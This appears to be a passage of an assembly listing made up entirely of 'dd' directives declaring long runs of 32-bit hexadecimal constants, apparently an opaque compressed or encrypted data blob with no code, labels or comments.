		dd 0C9FEDBD8h, 0D93850Fh, 76F2E8DAh, 84343853h,	0E6EE13F6h
		dd 0CCBE974Ch, 110B74FAh, 5490F868h, 95AFE4A9h,	0EEE7AA0Eh
		dd 6CFCBD7Eh, 213C2586h, 0A9D0EC81h, 0C80CCC06h, 21C44386h
		dd 0C8BC90C0h, 32B464B8h, 0CAC19B0h, 0A44386A8h, 0CC6CA022h
		dd 0A99C1403h, 6529810h, 0C901994h, 8853868Ch, 12014628h
		dd 46353D51h, 7248C0BEh, 0E9508114h, 5A22D0Ch, 18202842h
		dd 0C82BEC73h, 1AC48B37h, 867E147h, 50044080h, 84C1C8C3h
		dd 7C328064h, 2CB4EB6h,	14B62253h, 0F168D00Bh, 1910A699h
		dd 65E82B0Ch, 0D081166h, 0EB18C263h, 64A2E650h,	1054355Ch
		dd 0E9D11C16h, 0EA1DDB9Dh, 0C90BD880h, 6EF7F475h, 648C38F3h
		dd 0BC0917Ch, 72D10310h, 4B3B630Eh, 11670877h, 2B867653h
		dd 1B10330Ch, 117E1424h
		dd 5CF70C88h, 833A2BDAh, 0C25B1570h, 0C6A48310h, 1857AFFFh
		dd 43142281h, 8BD82910h, 0EBD31130h, 4B81A641h,	8A81BD14h
		dd 0F0F9810Ch, 45451813h, 5CE6F9C5h, 7891084h, 1760C10h
		dd 8B9A4E61h, 73445EC6h, 6978FC08h, 7320A170h, 1207515h
		dd 0D0AD0F06h, 49C3EAD3h, 1FE1FCE5h, 0C2BAE8F4h, 893014D4h
		dd 13243674h, 15535657h, 7D8E2422h, 4886478Ah, 74CA20C6h
		dd 0DD45B883h, 15952B29h, 18881C1Ch, 29141C71h,	1424E2D7h
		dd 0F98E102Ch, 0B0541A52h, 0E4EBD1F5h, 44D7A6D9h, 4386F1DBh
		dd 6418211Ch, 38107214h, 22FD754Fh, 5F5E8553h, 4670E232h
		dd 66C54E4h, 64438668h,	5C906021h, 546458C8h, 4C195032h
		dd 4386480Ch, 90402144h, 6434C838h, 192C3230h, 2C202328h
		dd 0D42E9A6Ah, 0B34B96CAh, 346CB3D8h, 8D098D16h, 5422E978h
		dd 35B3A328h, 57F93D64h, 7DA3A197h, 0C4095B88h,	8DA58343h
		dd 6852E855h, 1C919770h, 7C248D11h, 0AC6A3B31h,	94894A25h
		dd 1FE6C66Ah, 1635C0DFh, 61B1A1EEh, 0C1EC3B5Dh,	0DC960993h
		dd 740A31D1h, 0D42F4704h, 0CCE86733h, 0C22FC9C1h, 949BD70Ch
		dd 61C54A5Fh, 0E3262AEh, 68E01855h, 0CB236FC8h,	121DCFCDh
		dd 766004B1h, 666983F1h, 0F0B2665Eh, 0C40627C7h, 1EC0C664h
		dd 800D7408h, 0E163907Ch, 3C17662Eh, 0ADD83E90h, 0C841E85Dh
		dd 80BF675h, 4A41DD01h,	7F943FA2h, 4E041C0Ah, 6648AFCFh
		dd 295E4E89h, 20570840h, 55C052B1h, 619D4943h, 6F38E83Fh
		dd 4BDC59C9h, 0AF23ADFDh, 20B4DA01h, 257BB004h,	0CA6AD448h
		dd 1C910618h, 1A238142h, 95392144h, 24282044h, 0F9689824h
		dd 4DE9EC0Fh, 109E3AF0h, 0CF1C10E4h, 671408DCh,	440C84D8h
		dd 89760B8h, 0E17F36A6h, 80BD015Eh, 0
		dd 2D387200h, 9603201h,	48922482h, 22B891A6h, 0F0DA44CAh
		dd 812E0288h, 111A052h,	102B2633h, 4092216h, 442AEC20h
		dd 0BA89C8E0h, 9E24AC12h, 72918848h, 50446222h,	12368942h
		dd 481A2426h, 29FE880Ch, 0D8893A19h, 9C61199h, 24A012B6h
		dd 916A4894h, 44462254h, 16892A32h, 0F2220812h,	4C920528h
		dd 2A11E490h, 9892C6Ch,	135C894Ch, 66A13250h, 86247609h
		dd 0BC91A248h, 0DE44CC22h, 997E89FAh, 0EA591289h, 32C01191h
		dd 24A409B0h, 917E4898h, 50014072h, 958C9CCh, 137A8964h
		dd 0A0E132ACh, 8C249609h, 0F8888248h, 11781926h, 68099170h
		dd 50445A22h, 123C8946h, 48222432h, 10069112h, 0E02227F4h
		dd 89D0D844h, 24BE12C8h, 91A848B4h, 4494229Eh, 7C89848Ch
		dd 6A247412h, 58916048h, 44444E22h, 1232893Ch, 481E2428h
		dd 220C9116h, 2E442B02h, 6C819C4h, 28084280h, 49DE1099h
		dd 0FC0991F8h, 222D1210h, 0D8304920h, 975904CCh, 911609C8h
		dd 44152212h, 5891302h,	17240A12h, 33910C48h, 1446F22h
		dd 12708903h, 48342409h, 220B9106h, 14084410h, 11127489h
		dd 493CC24h, 73113239h,	9CB80D09h, 8337126Fh, 0FF46173Ah
		dd 6C2D1C03h, 9431A40h,	19F1010Fh, 3E186D26h, 1C1094D2h
		dd 1D411474h, 32433A8Ah, 86561140h, 2008230Ch, 486218B5h
		dd 2193611h, 20A89180h,	0C30CE834h, 304322D0h, 8AF69001h
		dd 5DA14E8h, 1432F03Ch,	88489DA0h, 565C2318h, 3CD01430h
		dd 81143829h, 19930520h, 42801304h, 5E40149h, 2319605Ch
		dd 1044681Ch, 11C87050h, 42789002h, 0A288D198h,	18D12210h
		dd 0A0300532h, 99FE5C32h, 2185C014h, 72012590h,	7848C064h
		dd 8C52118h, 14282680h,	220888D8h, 8724A880h, 82CD008h
		dd 64142030h, 2D46B128h, 7929EC03h, 1A642878h, 519050C9h
		dd 3238F35Ch, 5451E429h, 9E441496h, 1178ADCh, 5575782Ch
		dd 0C002BA0Fh, 70637274h, 0BE14C879h, 6E656C41h, 6DD19103h
		dd 6FD1E761h, 0D05E0363h, 0E3657266h, 2497109Bh, 90262ABFh
		dd 0B6E8AC1h, 0B714B21Bh, 0CBBF69A7h, 4CAC8F66h, 0E06B5D63h
		dd 7326A199h, 0B6DF2ACFh, 15616656h, 65F48464h,	663B9ADCh
		dd 0F75C7710h, 144C999Bh, 15735F32h, 700C0F57h,	66A05DE3h
		dd 0B0986461h, 0CE2E10DBh, 0C63D7890h, 40696F74h, 398CB56Eh
		dd 0C2B86E8Ah, 0D850C528h, 1AE1407h, 6E535F7Bh,	8CC02B78h
		dd 3DF86D1Fh, 0B38268A7h, 26AF49C7h, 70F16978h,	0F25F66F1h
		dd 4150F06Fh, 6969659Ch, 20508D0Eh, 701632B1h, 9468DD74h
		dd 24E764A4h, 0A6994572h, 67E56228h, 7F689794h,	0DC243E6Ch
		dd 0D5760229h, 3F5E274Bh, 59403310h, 50583741h,	205A7606h
		dd 8B320F44h, 10491F28h, 2A029E2Bh, 0CFEEB814h,	0D33DF06Dh
		dd 774DE96Eh, 4DA821BCh, 0E1140232h, 2D76B285h,	0BD9BC1B3h
		dd 0D06F3C1Ch, 8AB9C91h, 39985021h, 0E07675FAh,	2477F4E6h
		dd 65807363h, 6E0A14E3h, 49CABFC8h, 62509399h, 336F189Bh
		dd 0B8492C28h, 787143E2h, 61724619h, 0CE594878h, 6534DC0h
		dd 54524356h, 0EC89182Eh, 0F85A2128h, 0D904941h, 3215CFD8h
		dd 0A433735Fh, 9A7C4C18h, 6586535h, 0C694684h, 0E1A4170h
		dd 2E185303h, 0B9C8DB0Bh, 309B7562h, 2E822A73h,	6F797A58h
		dd 51E057A6h, 0B8540332h, 81BA886Dh, 0AF50283Eh, 7E446368h
		dd 0A2347036h, 28A8249h, 19364A52h, 0C5474D17h,	9B1548Fh
		dd 284F027Ch, 75C12BD1h, 0C49F4701h, 15641E4Dh,	4E2A736Ch
		dd 77C5CAAFh, 66135216h, 73B2921h, 1D727543h, 3E99DE7Ah
		dd 0AB103049h, 3B0D62AAh, 4511EA44h, 0D043DB24h, 87E18C74h
		dd 316AEE02h, 1A895908h, 0A662F469h, 0E86BE0Dh,	8CB565ADh
		dd 7075F401h, 4325696Ch, 3A29D40Ah, 5088526Ch, 2C45C838h
		dd 53020D1Ch, 68D1431Ah, 87E924F6h, 57039786h, 359969C4h
		dd 3C04C5C3h, 8983614Ch, 6F7E2645h, 703D9A8Eh, 2679C241h
		dd 55AF3850h, 98521C9Fh, 1C0D55D1h, 537B6441h, 2480FACh
		dd 74CED44Ch, 95FF6A90h, 99A79B8h, 74D026Bh, 42F77403h
		dd 3C54B8CCh, 0D650576Fh, 32686E43h, 0D38B90Ah,	41C47953h
		dd 0A8694451h, 6F50C472h, 0AC91142Dh, 0EB4A5447h, 48343026h
		dd 0AE4D0E2Ch, 51868CBCh, 9CA01CE9h, 522B90EAh,	5D24173h
		dd 996C034Ah, 0FF1994DFh, 0D00252E0h, 9A6CE224h, 61B306DEh
		dd 7649584Eh, 0DF25C878h, 3C15644h, 6EF96973h, 4822DE46h
		dd 26DF3C0Ch, 922E24D7h, 0FAD07272h, 62320609h,	0A039368h
		dd 158B7453h, 4628EE75h, 9EBADE2Ah, 84416E6Bh, 84617053h
		dd 4B400815h, 4F844444h, 7954EF80h, 0D57BCA70h,	0B0C62010h
		dd 75A8C53Ch, 9AB6906Eh, 8DF15102h, 85079B2h, 2878FEA4h
		dd 7F6CD9B0h, 1226B371h, 0BE998279h, 48358A1Ch,	120226FCh
		dd 12427349h, 881A355Bh, 0B6995224h, 0DB3736CFh, 0FD441906h
		dd 8ECA9C21h, 6C7AACA5h, 0E415D172h, 8BF8532Ah,	428F82D7h
		dd 174608B8h, 434782F3h, 76762BB0h, 0E41FEE2Fh,	6E5BE870h
		dd 5503051Fh, 708F036Eh, 77F06956h, 2699664Fh, 0DA105E92h
		dd 474EF210h, 1A35B7A2h, 4767129Ah, 0EB03B338h,	192637B3h
		dd 6E62DE50h, 248D4376h, 8D966DC4h, 0CDEC6156h,	29D02262h
		dd 652426BCh, 0B956B92Ah, 5A65650Ch, 494D5432h,	2193788Ah
		dd 6422520Ah, 935BD496h, 52E14BC4h, 624CFD4Eh, 8BD58BFAh
		dd 7AD83B52h, 0C6229956h, 93F57654h, 50361779h,	0CD67FC74h
		dd 930757Eh, 4786611Ch,	0CC0D9AC4h, 349A3A4Ah, 0A24D14C9h
		dd 446761CAh, 19724F6h,	4FB12474h, 0C706C66h, 0B5754E28h
		dd 2E63BCCCh, 0EE536855h, 1C9C374h, 4DB1A2DEh, 0BE244B9Eh
		dd 590ED214h, 76DD907Fh, 0E2877565h, 2F261216h,	141C913Fh
		dd 0FD7910D9h, 902096A1h, 0D1F394ECh, 0C1234111h, 501444F9h
		dd 0CDA212E9h, 680B66AAh, 21236548h, 327355CEh,	29A0C9A0h
		dd 746D032Ah, 61F93452h, 5025852Ch, 5270F6EDh, 566F1696h
		dd 17A952EBh, 8550D20Ch, 6341268Ch, 6B691E70h, 33813728h
		dd 50B15644h, 6D64A49h,	68530107h, 0D2A4F594h, 0DF7A2A0Fh
		dd 1448923Eh, 0BDA06766h, 0D2935F01h, 34376910h, 1C966F18h
		dd 14C515F0h, 2D6D7D48h, 0B752C294h, 51A13892h,	928C2C45h
		dd 580E5032h, 0B2317B58h, 4E62D30Fh, 55234075h,	58AA4541h
		dd 522C6058h, 93698B02h, 0D84F8340h, 52554145h,	1908454h
		dd 80B9EEh, 0
		dd 41303898h, 40095C32h, 1501424h, 0CB978D00h, 0E2AB90AFh
		dd 0B8CCB41Eh, 0D4EAE387h, 0BAB0E72Fh, 0B5B99460h, 0E58300DBh
		dd 0F0E89089h, 8E38C6D2h, 9AEB9C82h, 0A18D8023h, 87A28FFEh
		dd 0E592CC1Dh, 0F6C7961Ch, 0B8F0DACFh, 29B4C4BAh, 0F81CA399h
		dd 8878BCACh, 0B9CE9800h, 0D2F1C5A3h, 0B0876FDBh, 95A79E40h
		dd 96E498D7h, 0EAF3AD1Ch, 0A890CC87h, 0A69EFBD1h, 0A93C911Bh
		dd 703340Ch, 25023430h,	20806E75h, 28746F62h, 0BB29733Bh
		dd 6E3EFD66h, 69779F64h, 74FF685Eh, 67F87277h, 0C82257F9h
		dd 4E0A2E1Ch, 0D63D266Fh, 1C24F424h, 7CE7176Dh,	0D510DF1Ah
		dd 817C1028h, 2DF09529h, 20469E79h, 0D05E694Ch,	56905C5Dh
		dd 0A8AB3AB8h, 0A7207E46h, 694B8708h, 0C2291D6Ch, 0D80E4D9Ah
		dd 6D432838h, 652E640Eh, 70204078h, 0F0636F72h,	6878C673h
		dd 747F0861h, 40DE6DFAh, 0D0360E76h, 6C20AC40h,	3FAEBAFBh
		dd 1261B772h, 8CDA2CBDh, 0AC6D58DCh, 0B12E6F31h, 0D9C4414h
		dd 0CF287245h, 0CE68FC36h, 6321C5A0h, 7DB33775h, 0E361C55Ah
		dd 0D319770h, 6552080Ah, 3E986DFBh, 68CE9467h, 6F816353h
		dd 936EC270h, 0A43863A0h, 0EC537669h, 566A9114h, 740C9122h
		dd 66322E19h, 5CA3731Eh, 911421EAh, 424B0D33h, 98AB2F2Fh
		dd 4857683Ch, 0DB58A18Bh, 94627781h, 29835360h,	6A4F2074h
		dd 0AD7766Fh, 3CE87254h, 3A7666BDh, 4BD36F20h, 404163A3h
		dd 1184448Bh, 0F7B6A0E2h, 0B9E6455h, 107DC33h, 441C4344h
		dd 0EA4E7745h, 0FD20DC22h, 25644C74h, 49010C99h, 7A1B16E4h
		dd 94281389h, 2A142908h, 0F185CC72h, 7503465Bh,	0F8A203F6h
		dd 8C13108Ah, 670A4C2Dh, 923AEEA1h, 0BE1075C6h,	1406B918h
		dd 51C8434h, 20544547h,	488C4E2Fh, 6501EFEh, 2C302E31h
		dd 6A986FF4h, 226979DDh, 55E4F421h, 70872987h, 292E8919h
		dd 484A1364h, 6C2626FAh, 0EE7E3DB3h, 9A667269h,	0A42C8777h
		dd 0EB64D157h, 0E7BF6EC3h, 513C7B61h, 1A5C5BE1h, 2D576261h
		dd 43EBFAD1h, 53F328C4h, 0C26463B2h, 71E1664Ch,	49597957h
		dd 0E868A57Eh, 0CCBE8532h, 9C2CC9F4h, 0CC19D0E2h, 0B45194Ch
		dd 0B59600Eh, 8919CD41h, 0E31B5E19h, 92F6470h, 3936443Ah
		dd 27667407h, 242FC670h, 61A12290h, 75236079h, 32317362h
		dd 6E170831h, 8303806h,	0DA4687Ch, 439A6485h, 9B9C6560h
		dd 10C56C73h, 0F49174D1h, 77300CA9h, 59EB1CB8h,	0BE4DA99h
		dd 0EC42BC8Bh, 1111A439h, 4544B270h, 1A91ED80h,	0E4254770h
		dd 31362416h, 55511303h, 3A350A49h, 0B4AB29C0h,	0A0142963h
		dd 54A7A442h, 623EAAA0h, 1E835275h, 0BEFC6F4Dh,	9A0FD96Ch
		dd 0B0444E70h, 0E8637C95h, 0D1687873h, 74481960h, 0B13D4E14h
		dd 41183A48h, 38300E58h, 421290EBh, 421443A2h, 49538444h
		dd 23144472h, 53905042h, 51449A2h, 47414C46h, 2E0C4953h
		dd 28894C08h, 1854ED1Fh, 22A47EC9h, 0DD02B41Ah,	75890224h
		dd 4F52BC99h, 58450EDAh, 54506043h, 6E4E4F49h, 29FC8E5Fh
		dd 0FB9CCE10h, 56FECFF4h, 0CF451E7Dh, 5ACE5942h, 0A4F52C7h
		dd 0D9537920h, 0DB4BED41h, 326F56CBh, 1C57EA74h, 0F70896D3h
		dd 0A01606B7h, 4C424155h, 0D01980D1h, 5242E124h, 0F74B0B20h
		dd 3CCF46E7h, 1438AC9Bh, 0F2DFF753h, 348FD828h,	9C4CB13Fh
		dd 0ACD64147h, 2952FC9Ch, 211F4355h, 94FD6F20h,	0F5708F48h
		dd 0E9720F74h, 4547ABCFh, 1292F706h, 538E4F63h,	453CC1D2h
		dd 93F53878h, 586E440Eh, 0B0642E3Fh, 0D450E065h, 4D7CAE32h
		dd 3E6DAD43h, 44185770h, 7004CC63h, 0CA1847F7h,	12669A24h
		dd 0B1D4CC4Bh, 436FE9BCh, 7848671Ch, 0D56D3A9Fh, 1B19A30Fh
		dd 32737781h, 0AECE335Fh, 4E570633h, 235BB9FBh,	8ACEA483h
		dd 76185732h, 0D0774146h, 2AF42D92h, 6D526514h,	61509AC4h
		dd 52FD9C1Bh, 0B3BB45EAh, 2A753248h, 80984E19h,	7D63531Ch
		dd 6939968h, 4F626F4Ah,	230BED1h, 75426970h, 550C5866h
		dd 92C2D046h, 85FB5114h, 30444F54h, 61685310h, 85453AC9h
		dd 10316D28h, 5EA27355h, 510C840Fh, 181DB744h, 19AA581Dh
		dd 1D49496Ah, 61355895h, 0B40629D0h, 32C72E02h,	0A9CE61F7h
		dd 15642C7Ah, 5316CA63h, 2941C7CCh, 0DE52940Dh,	0FFF7CC70h
		dd 0B26B5124h, 38296C45h, 55C86C31h, 90CC9053h,	4E09817Eh
		dd 0FA558DDh, 6CDC40B4h, 894ECB6Ch, 0CBF94264h,	767C2567h
		dd 0AC9EE4AFh, 0D5B4497Ch, 0B3214957h, 80338B31h, 0EFB9A9h
		dd 0D184E3D5h, 91E4DC99h, 60B4F0EEh, 401D5CC7h,	4363C0D2h
		dd 3119C324h, 8282E30h,	36F09B39h, 208B3879h, 88B3718h
		dd 936898BFh, 7003D63Fh, 31533A71h, 27F49F10h, 9828106Dh
		dd 8A608D0h, 0E8474C2Eh, 0BA269C2Ch, 0AB18729Ah, 904D324Ah
		dd 946D7250h, 0B2C4D06h, 0A462518h, 0CCA4E601h,	509D9152h
		dd 20D0F73Ch, 0E814299Eh, 0AACC240Fh, 0F659AE93h, 0A2D99879h
		dd 3940D3F4h, 2ED40BDAh, 5112EB2h, 0BDE06873h, 0B4DCFE3Ch
		dd 6560F726h, 0B0A23A06h, 0C8911042h, 5832300Ah, 9906DD0h
		dd 48298908h, 0CC3084Bh, 4D4C1031h, 55474318h, 0D80A5221h
		dd 0B019C33Dh, 84CA009h, 126C8990h, 483C245Ch, 4F14E428h
		dd 0EC3230FCh, 0C424D809h, 9091A448h, 64537422h, 44542208h
		dd 0F888182Ch, 108D13Bh, 0FBA79380h, 9500BA89h,	0EACD91D1h
		dd 0FF0E8B6h, 0BB8CDBC5h, 0ADBEB8A0h, 980AD296h, 208DAFCBh
		dd 0E0ABB780h, 289B98Bh, 0AF9792CCh, 34B0E387h,	0E87FBE9Fh
		dd 0DF85BC00h, 91A5D083h, 0C1C83BA6h, 0EEAC870Fh, 0E0A19A87h
		dd 0EAC096C9h, 0F63BE3F4h, 0BB8114D6h, 0A2BFC028h, 15FB88FFh
		dd 3892C683h, 0F7BEAD80h, 95059C94h, 0B2DCD9C8h, 8D3037F3h
		dd 0CC83B921h, 0BFEAD700h, 0D3FDD59Dh, 0B38702DDh, 0A58BD9EEh
		dd 0B9412C96h, 5789CD2h, 9FF6A789h, 0D7AA00BAh,	0F18BAFF7h
		dd 0C2D2EB1Ch, 0EAA79840h, 0F287A29Eh, 5320AC9Bh, 344610B8h
		dd 96B89AC0h, 0DE0AB69Eh, 14F291AFh, 9030A9C4h,	0AF56C192h
		dd 0B2FC8158h, 0CC01EA8Fh, 0BB285890h, 97051390h, 85DB94BAh
		dd 79855039h, 8481BAB2h, 983A10h, 0E998A5F5h, 0FE880EAh
		dd 0F1A2AE92h, 0C4D7B42Eh, 0B2203094h, 9402FFA1h, 8FDBC8BBh
		dd 9D1099DCh, 0BB9E4087h, 0DCA43092h, 309089B8h, 97FB8001h
		dd 96F1BAB0h, 2EEC6D0h,	9AA9D685h, 2499F7F5h, 26EAC5BDh
		dd 0BD97C03Ch, 0A5A688F9h, 0A1928044h, 0C6B99AFBh, 0DA00ED77h
		dd 0F0EF8DBFh, 3BA389D9h, 9401BAABh, 8ECA8FA7h,	0F49AC499h
		dd 2BC9F23Ch, 0B2023887h, 349AEBBDh, 760D3A5Bh,	65D0115Ch
		dd 6C702578h, 9853C60Eh, 66F853D9h, 0E077742Eh,	8E4D5C8Bh
		dd 731BDF88h, 6257D21Dh, 0F70878E1h, 6B7543E0h,	29063072h
		dd 65F95856h, 0FE52FD71h, 405C75C4h, 0DE683EAAh, 0AB6C391Ch
		dd 9D133A16h, 39075B13h, 622D6761h, 201B1CB0h, 3A32412Fh
		dd 0CA460A48h, 10101A34h, 0B466690Bh, 4D1C2685h, 6C67E51Ah
		dd 39AF7E44h, 0B8C526A0h, 0DB84622Eh, 8170AC24h, 0E34C4420h
		dd 0ECA49DD3h, 0ED6C9E72h, 69860283h, 9EB6935Ah, 53C4B2A5h
		dd 853C2F09h, 1ECECFD0h, 65E56B63h, 0C9EF2C15h,	8F708492h
		dd 63456A7Dh, 5E4016AEh, 3FED378Ah, 21530ACEh, 0BF6DB6F6h
		dd 2ECAF058h, 0B300CE03h, 0B6D5F6BDh, 4CD38926h, 805C89CBh
		dd 0D885CC38h, 0E99C38E4h, 90CB8E8Eh, 1424D011h, 800C83B1h
		dd 96EDAFBAh, 0DB883FFBh
		dd 0B9071C56h, 4F9CF7A1h, 8A9690C4h, 7CB026D0h,	95B89E00h
		dd 5DAD9D0h, 0E5A892A5h, 0F01421D5h, 0BCE06040h, 91A009C8h
		dd 2C44225Ch, 70F43FECh, 0EF2CA1BAh, 0DF00D495h, 9EAD9793h
		dd 0D3E102EBh, 0A6BF9B87h, 85FB6CC0h, 969AD115h, 89863810h
		dd 80F6B9B1h, 0D8DA87F8h, 98A307CAh, 0F1C4E1E8h, 30BEB192h
		dd 0C90EA56Ch, 0A0D196C7h, 0C5E6D990h, 0A98700C3h, 0B19EF4ABh
		dd 8373E1D4h, 0B7D2FB02h, 16D1C5AAh, 0B6BDAB00h, 0DB8BB49Ch
		dd 0E4880084h, 0C7E9EF86h, 0B12B8187h, 964170A3h, 4F70D0F9h
		dd 0D1863FC6h, 0CAACA800h, 0DA89D4E1h, 0CBFA8100h, 9194A9E3h
		dd 0E77684h, 0DEE498A0h, 0FBD8C293h, 0D8B78BA1h, 0EB38DA9Ch
		dd 0D4D4A8FDh, 0C084DF0Fh, 0E1A881A4h, 0B45ECCD8h, 8EEA725h
		dd 0A498B639h, 0EC50248Bh, 8EFA5C9Ah, 0B0DBD814h, 0D5E7A90Eh
		dd 0A0BB90C0h, 921ED4ECh, 803DD189h, 0EBE9ABAFh, 583CBCCh
		dd 88F687ACh, 0C018D4A1h, 0FCE3D170h, 2434C552h, 970048AAh
		dd 0D9CC87B7h, 0E1D4A0DEh, 0ACC553E8h, 87535584h, 8643928h
		dd 96692025h, 1630F966h, 3A533B4Fh, 8BA4914Ch, 480F5A5Dh
		dd 0F76CA2Ch, 63686A4h,	621CC824h, 616816CDh, 55504309h
		dd 58F14E52h, 48304D13h, 61522A7Ah, 1238826Dh, 0BA52F42h
		dd 4D962016h, 50490542h, 0E23A3676h, 558ADEA2h,	6D0A8370h
		dd 99533465h, 544B7961h, 9F4C864Ch, 0E0D20F42h,	49827509h
		dd 0F73D206Ch, 4FA16EC8h, 10B128E9h, 5A716A5Ah,	0CE149608h
		dd 532688B6h, 808C9397h, 31524148h, 45085744h, 5399DB5Ch
		dd 6C49ED43h, 1D249F47h, 25150BCBh, 7E847212h, 695C3772h
		dd 0E53C4EE9h, 71C5937h, 33ADCF32h, 5058C0A7h, 0E80C47E1h
		dd 3454D42h, 49323839h,	5351154h, 5397836Eh, 3F6D3F70h
		dd 6C49A709h, 3C61292Eh, 0A4773238h, 0A5814F6Bh, 0C8879C46h
		dd 0F0D84E15h, 0A7707954h, 5047A910h, 0BCCB6946h, 1C309A77h
		dd 0BE4C6816h, 79630ACAh, 0EA2C5113h, 9C838D78h, 51519869h
		dd 0AC2BE44Dh, 52B1D84Eh, 7E939343h, 0C249AC9Ch, 410801CCh
		dd 3F206176h, 54657067h, 0FA4CF142h, 0A13CE14Eh, 77B524Eh
		dd 296B6E80h, 4A48F50h,	418514ADh, 48D15C3Ah, 0F2746F54h
		dd 2C53BC20h, 7E533E72h, 21B37529h, 70730E18h, 178D10B2h
		dd 68518AA4h, 0C452DD71h, 104FE1F6h, 20902E47h,	8084AE7Eh
		dd 3E646DA1h, 76707369h, 1B2D4A63h, 0E2AD3053h,	68924A11h
		dd 28345178h, 8014840Ch, 0A16C62CBh, 98494439h,	0AC70B65Fh
		dd 0B4CE8D18h, 620A6302h, 305667CAh, 50256DF3h,	47C4A764h
		dd 96611A94h, 20319508h, 557DFD6Ah, 95CB974Eh, 2952A428h
		dd 0C7A32AE0h, 0A238B89Ch, 0C8CB5C78h, 3BE04861h, 2ECE324Ah
		dd 0E6E9187Eh, 307356D7h, 65CFDB93h, 9642F24h, 0F7AD4764h
		dd 5E5CCE4Eh, 0C3A0DA12h, 30BCBC76h, 4D434920h,	8785504Fh
		dd 9A0A1A84h, 706F640Ah, 736D8ADDh, 25C55A05h, 0D02BDDB9h
		dd 5202E62Ch, 0F2D2042Ah, 1E3A2B41h, 0CCF25423h, 135A8588h
		dd 9304F629h, 94E49B1Eh, 904C04ACh, 12635C49h, 47D8433Fh
		dd 0AE48537Bh, 493A1045h, 0CBC34558h, 5F203C43h, 49B5EE25h
		dd 4EDA21A2h, 227D172Eh, 0AE627318h, 0F89A5C4Eh, 0EBCA6790h
		dd 74350D3Ch, 3E183A19h, 17FB5BF5h, 0D6637014h,	62F718B1h
		dd 0A16681Dh, 67C6052Fh, 2A5D1623h, 96CC0288h, 34026CE2h
		dd 7468334Eh, 9570ED51h, 2369F79h, 2D7E03A2h, 6555747Ah
		dd 33277971h, 0A63D4754h, 0A6A90E40h, 0C86092F7h, 0A4D085DFh
		dd 0E1E8D109h, 90E846D4h, 27D69049h, 50BB6665h,	67C093E4h
		dd 0CD66854Bh, 79879F41h, 2D72EF6Bh, 3D09667Ah,	0C933D833h
		dd 0DA08635Bh, 32D18B32h, 0E6E54A06h, 54A2BB14h, 34874AB2h
		dd 2A9C6ADAh, 2CCCEA2h,	1440B269h, 0D002ABF0h, 0CD6B30C1h
		dd 0A2087804h, 1008904Bh, 14365753h, 3532390Eh,	0B0F18150h
		dd 440A548Dh, 8738BC01h, 0F03D4718h, 881401A9h,	905028F1h
		dd 860A48Eh, 27FC4CF0h,	0E1614052h, 290BAC20h, 2E200CD0h
		dd 6A757931h, 3570D938h, 0AC6EABB3h, 2B73F298h,	194B552h
		dd 76706903h, 0D665E234h, 54074E6Bh, 0E9109A68h, 694790FBh
		dd 2E0ACF58h, 5CE4C903h, 0D0215894h, 4D8ED682h,	2893343Ah
		dd 15C9F824h, 0A7542329h, 534E1860h, 0CC683A5Ah, 8CD2990h
		dd 505D73A8h, 712968Fh,	8E2D5D85h, 42908162h, 29342DE4h
		dd 0E4234279h, 1DF2246Dh, 8F8C3C94h, 0F4C9D02Dh, 68757405h
		dd 0AC15D0DCh, 850C054Fh, 82023A8h, 0AEA6C5A0h,	67302920h
		dd 0F1A90238h, 4B3421ABh, 2BB9C743h, 20A9E863h,	7E932969h
		dd 73A478F2h, 9A56E2E7h, 0A9890A2h, 0E5BB6348h,	0D4502A02h
		dd 0F03CB813h, 11E32BEAh, 6020940Ch, 76997085h,	81211813h
		dd 4F4D6012h, 5B944544h, 1CC77089h, 0F9290A4Ch,	0D18C7FE2h
		dd 12E72944h, 0EEC56D20h, 15B3DA24h, 846195Eh, 0DFF8516Eh
		dd 0F1285D8Fh, 48C3619h, 2FE1870h, 14A42E2Ch, 0A483B815h
		dd 4150C128h, 74415452h, 884E7AF0h, 16622B70h, 0E14A930Bh
		dd 0F241AE45h, 9839DA65h, 0A2A44878h, 44305EC1h, 0A52FC130h
		dd 96760A6Ch, 4ED871E4h, 177A0598h, 0D0686C6Eh,	0C1E024F0h
		dd 3379580Dh, 1C7D3A29h, 606B70C1h, 21A0505Ch, 0CA690DD1h
		dd 122274CAh, 0D0F96872h, 0DA607E14h, 0C062E23Ch, 48366523h
		dd 2B959A34h, 0C2AC9B76h, 909CCCB0h, 8E74492Fh,	0AB1637E2h
		dd 75BD8854h, 3C854F90h, 0D16E21BAh, 13848ECh, 2444A614h
		dd 6F56E070h, 0AD1E7054h, 0B5118301h, 68841BB4h, 851570A6h
		dd 2314269Ch, 9669A20Ch, 957015E8h, 11D21876h, 38A37CE5h
		dd 111060CCh, 0F08285EFh, 470F3567h, 0C341524h,	835274C1h
		dd 157B4E5Fh, 0A0107B94h, 0E19C263Dh, 0E0F1041Ah, 0F0681839h
		dd 81AC4B53h, 1DA334F1h, 300A1C4Eh, 0E168B987h,	4A07DB90h
		dd 0E641034h, 492D10B1h, 25986108h, 0D6B321A7h,	9825170h
		dd 216B5DC1h, 7F61E957h, 8C6C2B23h, 661F64E2h, 7866A575h
		dd 25617041h, 52796CD0h, 0B8A5382Eh, 8F2AD1B4h,	0C60B761h
		dd 124F5242h, 664E454Bh, 3378201Ch, 8A0C1CD0h, 8BE084BFh
		dd 0DEC087h, 0BEFCC6A0h, 0A68AEFE1h, 938EAA03h,	88EBFEB9h
		dd 2DC88DBh, 0EF99D990h, 0A894A88Ch, 1AC16012h,	840AF88Bh
		dd 0D0E8EBF6h, 0E6294F71h, 9CC0102Eh, 0EBDDC8Dh, 0BCF4AE92h
		dd 0D4A09A4Eh, 0BAFEF6D0h, 0ABFC8700h, 86D1E3CFh, 920ACCEh
		dd 92FFA79Ah, 0CBEC2850h, 0F39BA502h, 0E5E0D4E7h, 818D8059h
		dd 0A782AFDEh, 51B2EC25h, 0C8DF5884h, 0EAFCD00Ch, 0FD1A97h
		dd 0DBB0A195h, 90A3CA85h, 0B7CCE848h, 0F1AC30FBh, 983B497Ch
		dd 3ED1A1B0h, 668210A7h, 69383231h, 61E02BA9h, 2ED9962h
		dd 74707972h, 0ABCB36Dh, 2C2450F2h, 16E2F15Ch, 0A7643D4Dh
		dd 691C23E7h, 8E2242D8h, 45A90990h, 0C9C6A508h,	0C7F9BBA2h
		dd 0DBF39C24h, 488BCC09h, 43494E05h, 0E031C84Bh, 0CC0B362Ch
		dd 56769270h, 9293B897h, 5842120h, 50202040h, 56490652h
		dd 6D47534Dh, 6BB93AF6h, 3C093B98h, 93E813Dh, 7F211991h
